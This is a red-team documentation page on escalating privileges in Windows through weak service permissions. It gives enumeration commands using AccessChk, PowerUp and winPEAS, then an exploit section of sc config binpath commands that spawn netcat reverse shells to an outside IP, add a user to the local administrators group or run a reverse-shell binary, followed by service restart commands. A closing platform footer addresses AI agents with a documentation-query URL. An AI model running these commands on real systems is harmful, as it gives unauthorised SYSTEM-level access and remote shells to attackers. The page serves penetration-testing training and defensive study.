> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/privilege-escalation/windows/services/weak-service-permissions.md).

# Weak Service Permissions

## Theory

It is very often in Windows environments to discover services that run with SYSTEM privileges. If you have permissions over the service you can use it to escalate you privileges.

## Practice

If we have enough permissions over a service, we can edit the `binPath` parameters and replace it with our own binary or command.

{% tabs %}
{% tab title="Enumerate" %}
If you have `SERVICE_CHANGE_CONFIG` or `SERVICE_ALL_ACCESS` permissions, you can replace the binary.

**AccessChk**

We can use [AccessChk](https://learn.microsoft.com/fr-fr/sysinternals/downloads/accesschk) from sysinternals tools to enumerate permissions over services.

```powershell
#list all the services that a specific user can modify.
accesschk64.exe -uwcqv "pwned" * -accepteula
accesschk64.exe -uwcqv "Authenticated Users" * -accepteula
accesschk64.exe -uwcqv "BUILTIN\Users" * -accepteula
accesschk.exe -uwcqv %USERNAME% * -accepteula

#list permissions for "VulnSvc" service.
accesschk64.exe -uwcqv VulnSvc -accepteula
```

**PowerUp**

This cmdlet from [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) can also be used.

```powershell
. .\PowerUp.ps1
Get-ModifiableService
```

**winPEAS**

Or, we may use the `servicesinfo` module of [WinPeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS).

```powershell
winPEASx64.exe servicesinfo
```

{% endtab %}

{% tab title="Exploit" %}
We can edit the binpath parameter with following commands

```powershell
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config <Service_Name> binpath= "C:\Documents and Settings\PEPE\reverseShell.exe"
```

And then, restart the service

```powershell
#Using wmic
wmic service <Service_Name> call stopservice
wmic service <Service_Name> call startservice

#Using net
net stop <Service_Name> && net start <Service_Name>

#Using sc.exe
sc stop <Service_Name>
sc start <Service_Name>
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---incorrect-permissions-in-services>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/redteam/privilege-escalation/windows/services/weak-service-permissions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.